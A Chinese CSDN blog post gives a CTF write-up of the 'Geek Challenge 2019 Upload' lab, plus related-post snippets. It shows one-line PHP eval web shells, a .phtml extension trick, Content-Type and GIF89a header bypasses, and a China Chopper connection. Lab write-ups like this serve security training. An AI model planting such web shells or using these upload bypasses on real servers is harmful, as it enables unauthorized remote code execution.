[极客大挑战 2019]Upload

最新推荐文章于 2024-02-04 16:59:21 发布
最新推荐文章于 2024-02-04 16:59:21 发布
阅读量151 收藏 1
点赞数
分类专栏： ctf 文章标签： 信息安全 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52963704/article/details/115138817
版权

[极客大挑战 2019]Upload–个人写题日记

打开靶机，可以看到这是一个让我们上传图片的界面
在这里插入图片描述在这里，我们可以试着上传一句话木马，打开文本编辑器，输入代码<script language="php">eval($_POST['shell']);</script>用phtml的格式上传。.phtml格式的文件是php和html结合的网页文件。
在这里插入图片描述

改文件后缀名
在这里插入图片描述
进入靶机，上传木马文件，发现不能上传成功，此时说该文件不是image。所以我们需要改文件格式，可以使用burpsuit抓包，更改文件格式。在这里插入图片描述在这里插入图片描述上传成功后，猜测木马文件应该在upload文件夹下
在这里插入图片描述使用中国菜刀链接靶机
在这里插入图片描述使用文件管理功能，最终发现flag在根目录下
在这里插入图片描述打开flag文件，得到flag
在这里插入图片描述

LI-AO1134
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
【BUUCTF-Web】[极客大挑战 2019]Upload
weixin_49298681的博客
01-05 1038
Upload=> 文件上传漏洞。
【极客大挑战2019】Upload解题
Bird&Bird
10-26 3748
1、打开BUUCTF在线评测，选择web---->【极客大挑战2019】Upload。 2、首先上一句话木马。 报错了，说明进行了前端过滤非图片格式文件。 3、 将文件后缀名改为.jpg后在上传。 报错，说明进行了后端过滤，文件内容不能包含'<?'。 4、修改文件内容，然后上传。 继续报错 应该是对图片头进行了校验，那添加图片头，然后上传。 终于上传成功了，但此时我们上传的是一个.jpg图片，利用不了。 5、通过bp抓包，并修改图片后...
(文件上传upload) [极客大挑战 2019]Upload1 和 [ACTF2020新生赛]Upload1
一醉一休的博客
02-23 9226
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言 一、pandas是什么？ 二、使用步骤 1.引入库 2.读入数据 总结 前言 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马，病毒，恶意脚本或者WebShell等。 由于程序员在对用户文件上传部分的控制不足或者处理缺陷，而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件。 一、[极客大挑战 2019]Upload1 ...
阿里云IoT极客创新挑战赛.pdf
08-29
高级设计专家 望海 在2018云栖大会·上海峰会中做了题为《阿里云 IoT 极客创新挑战赛》的分享,就极客挑战赛创意来源、赛事的技术平台、赛事进程等方面的内容做了深入的分析。
2019年三诺集团四周年庆典极客摇滚跑活动方案.pptx
05-06
此文档描述的是2019年三诺集团四周年庆典的一项独特活动——“极客摇滚跑”。这是一场集科技、运动和音乐于一体的大型庆典，旨在庆祝三诺集团的周年纪念，并促进北海市高新产业园及其相关企业的交流与合作。活动的...
ISCC2019个人挑战赛题目练习
05-05
【ISCC2019个人挑战赛题目练习】是一次针对网络安全技术的竞赛，旨在提升参赛者在信息安全领域的技能和实战经验。此类挑战通常涵盖多种技术领域，包括但不限于密码学、漏洞分析、网络嗅探、逆向工程、Web安全以及...
天池Apache Flink极客挑战赛-垃圾图片分类算法源码+项目说明.zip
01-28
【资源说明】 1、该资源包括项目的全部源码，下载可以直接使用！ 2、本项目适合作为计算机、数学、电子信息等专业的课程设计、期末大作业和毕设项目，...天池Apache Flink极客挑战赛-垃圾图片分类算法源码+项目说明.zip
极客学院JAVA视频教程 新版 7大部分
08-08
Java语言视频教程 极客学院JAVA视频教程 新版 7大部分
极客大挑战2019-upload
m0_73303597的博客
12-11 344
自用
[极客大挑战 2019]Upload 1(文件上传)
热门推荐
weixin_45253573的博客
12-08 1万+
打开环境是一个上传图片的页面。 先上传一句话木马试试，这里格式直接不变，先上传看看。 <?php eval($_POST['b'])?> <?php $_GET['a']($_POST['b'])?> 提示说不是图片，需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg 绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 前几个php格式的一句话都被b了，比如php3 将文件格式改到phtml可以了，但带<?的一句话
[极客大挑战 2019]Upload1（详解）
最新发布
2301_77451464的博客
02-04 721
这句话是不应该出现的，可能是文件名后缀不对，放在蚁剑上，发现不能打开。由此可知，图片是有一个图片头的，可以用010editer打开看一下。文件名demo.php。图片头为GIF89a。
BUUCTF-Web-[极客大挑战 2019]Upload
weixin_67813445的博客
04-29 927
,所以考虑修改为JS风格的代码标记，修改完之后发送，页面如下图所示，Don’t lie to me,it’s not image at all!用burpsuite进行抓包，修改MIME类型, 即将Content-Type修改为image/jpeg,修改之后页面如下图所示，显示NOT!将文件后缀名改为php的其他扩展名，页面如下图所示，检测文件内容中包含了’<?上传一个php文件，此处上传shell.php后页面如下图所示，显示不是图片。将文件后缀改为jpg，页面如下图所示，文件类型符合要求，但。
[极客大挑战 2019]Upload 1
lppdlgg的博客
04-17 2893
1.判断为文件上传漏洞 2.在后续上传中发现有以下要求： 1..jpg格式 2. 文件内容不能有<? 3.部分php后缀被屏蔽 4.发现用.phtml可行 5.写入内容GIF89a? <script language="php">eval($_REQUEST[saxion])</script> 6.抓包，删除;.jpg后缀并重发 7.在url/upload中找到刚刚上传的文件，进入并复制地址 8.用蚁剑进行连接（succeed） 9.在...
[极客大挑战 2019]Upload（菜刀连接文件上传出现： HTTP/1.1 200 OK）
xlcvv的博客
04-06 6020
菜刀连接文件上传出现： HTTP/1.1 200 OK Server: openresty Date: Mon, 06 Apr 2020 08:42:03 GMT Content-Type: text/html Content-Length: 8 Connection: close X-Powered-By: PHP/5.5.9-1ubuntu4.29 的解决过程 关于文件上传的题目，之前一直有...
BUUCTF——[极客大挑战 2019]Upload 1
weixin_45864041的博客
09-26 1万+
文件上传漏洞，我们先写一句话木马，试着上传。 我们用shell.phtml的文件名直接上传，可以看到有一个前端检查，对文件后缀进行检查。接下来，我们将文件名改成shell.jpg进行上传。 然后又上传失败了，应该是在后端也对我们的文件内容进行了检测。接下来我们试着用文件幻术头的方式进行绕过。 在这里我试了jpg的文件头，但是还是失败了（也不知道为啥） 。最后用gif的文件头成功上传。 说明我们成功绕过了检测然后，我们重新上传，进行抓包，将文件后缀名改成phtml。 上传成功之后，没有给我们具体的存储.
极客大挑战 2019]EasySQL
09-03
EasySQL 是极客大挑战 2019 中的一个题目，它是一个简单的 SQL 数据库查询题目。可以通过编写 SQL 查询语句来实现对给定的数据库表进行数据查询和分析。 在 EasySQL 中，你将面对一个包含不同表的数据库，你需要...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值